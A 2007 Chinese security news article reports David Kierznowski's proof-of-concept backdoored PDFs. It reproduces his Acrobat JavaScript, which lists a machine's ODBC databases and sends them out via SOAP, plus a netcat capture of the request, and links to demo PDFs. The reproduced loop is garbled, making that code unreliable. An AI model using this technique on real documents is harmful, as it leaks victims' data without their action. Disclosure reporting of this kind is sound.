| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 
课件制作网.
收藏本站
设为首页
安全365
安全警报:黑客发现Adobe PDF的后门
安全警报:黑客发现Adobe PDF的后门
作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-25 13:54:36
  一名英国安全研究者近日发现了一个可以操纵Adobe PDF文件中的合法特性开启后门进行攻击的方法。David Kierznowski是一名网络应用程序测试方面的的入侵测试专家,他发布了一些理论上已经证实的代码和一些作弊的PDF文件以演示Adobe Reader程序如何可以在不经过用户操作的情况下被用于发起攻击。

  Kierznowski说,乍看起来PDF文档显然是不安全的,这是因为它支持JavaScript脚本。然而,要想将这一特性用于攻击目的却需要一些巧妙的技术,绝不是像想象的那样简单。Adobe支持其自己的JavaScript对象模型,例如,“alert('xss')”必须被app对象调用,因此这变成了“app.alert('xss')”。这意味着利用JavaScript进行攻击时只能使用Adobe所支持的功能。其次,Adobe Reader和Adobe Professional所允许的JavaScript对象范围是不同的。Kierznowski在其网站上给出了两个实例以表明Adobe Professional和Adobe Reader如何可被用于后门攻击,两个例子都使用了“Page Open”(页面打开)事件,这一事件可以通过“Page Properties Actions tab”(页面属性 动作标签)访问。

  第一个攻击(PDF文件:http://michaeldaw.org/projects/backdoored1.pdf)同时影响Adobe Reader和Adobe Professional,它已在打过所有补丁的Adobe版本中证实,它由在一个PDF文件中加入的恶意链接引发。一旦该文档被打开,用户的浏览器便被自动开启并访问这一内嵌的链接。Kierznowski说,在Adobe 6和7中,打开这些URL前都没有给出任何的警告;很明显,这时任何恶意代码都可被执行。

  第二个攻击(PDF文件:http://michaeldaw.org/projects/backdoored2.pdf)利用了Adobe系统的ADBC(Adobe数据库连接)和Web服务支持。“该攻击访问位于localhost上的Windows ODBC,列举可用的数据库并将这一信息通过Web服务发送到'localhost'。该攻击可以进一步被用于执行数据库查询。想象一下,攻击者可以通过用户的Web浏览器访问到你的内部数据库。”他说。Kierznowski在其blog( http://michaeldaw.org/md-hacks/backdooring-pdf-files/)上给出了下面这段理论上被证实的代码:
var cURL = "http://localhost/";

var cTestString = ""; 



var databaseList = ADBC.getDataSourceList();



var DB = "";

if (databaseList != null) {

for (var i=0; i DB+=databaseList[i].name;

}



cTestString = DB;



var response = SOAP.request( {

cURL: cURL,

oRequest: {

"http://myxmlns/:echoString": {

inputString: cTestString

}

},

cAction: " http://additional-opt/"

});



var result = response["http://no-need/:echoStringResponse"]["return"];



On the server side we get this:

$ ./nc.exe -l -p 80 -v

listening on [any] 80 …

connect to [127.0.0.1] from localhost [127.0.0.1] 1924

POST / HTTP/1.1 

Accept: */*

Content-Type: text/xml; charset=UTF-8

SOAPAction: "http://additional-opt/"

Content-Length: 578

User-Agent: Mozilla/3.0 (compatible; Acrobat SOAP 7.0)

Host: localhost

Connection: Keep-Alive 

Cache-Control: no-cache



<?xml version="1.0″?>

<SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" 

xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" 

xmlns:xsi="http://www.w3.org/2001/

XMLSchema-instance"><SOAP-ENV:Body><ns0:echoString SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/so 

ap/encoding/" xmlns:ns0="http://myxmlns/"><inputString xsi:type="xsd:string">

MS Access 97 DatabaseFoxPro FilesText FilesMS Access DatabaseExcel FilesdBASE Files

dbase1</inputString>

</ns0:echoString> 

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

  Kierznowski指出,在PDF文件中至少还有其他7个漏洞可被攻击者用于执行恶意代码。注意到Adobe Acrobat支持“HTML表单”和“文件系统访问”的使用,他说“如果再进一步发挥创造力,更简单的和/或更高级的攻击可以被放在一起。”Kierznowski在其blog上说他还有一些其他有趣的发现,其中之一是你可以通过将一个后门Javascript文件读入一个本地路径后在所有Adobe Acrobat文件中加入后门。

  Kierznowski说他在PDF文件中审查后门的好奇心来对于关于“被动攻击”概念的着迷。 他在提到内部用户对周围的网络通常表示信任时说:“诸如缓存溢出这样的主动攻击技术已经越来越难被发现和利用……未来的安全攻击的希望在于Web技术。” 微软Office应用程序(Word,Excel,Powerpoint)被用于瞬时攻击的趋势得以证实后,Kierznowski看到了客户方攻击的未来在于挖掘服务的功能。 他说:"这种形式的攻击只是有效利用用户信任的圈子操纵其客户端完成一个特定的功能。"

  Adobe产品安全事件相应小组的一名发言人说,公司已经得知Kierznowski的发现并正在“积极调查”这一问题。 位于加州圣何塞总部的公司在发往eWEEK的声明中说:“如果Adobe证实我们的某个产品将受到安全攻击的影响,这一安全攻击的细节及适当的解决方案将被编档发布。” 【转自世纪安全网 http://www.21safe.com】
文章录入:admin    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    公安部处长详解“信息安
    Digipass Go3不安全加密
    Digipass Go3不安全加密
    MailEnable SMTP NTLM认
    安全专家称Sendmail软件
    工作场所中的网络邮件 另
    工作场所中的网络邮件 另
    CSO们如何应对新技术的安
    重效益不防范 企业网络安
    信息安全运营中心在大中

    Copyright © 2006-2008 www.anquan365.com 安全365
    建议使用1024*768分辨率及第三方浏览器对本站进行浏览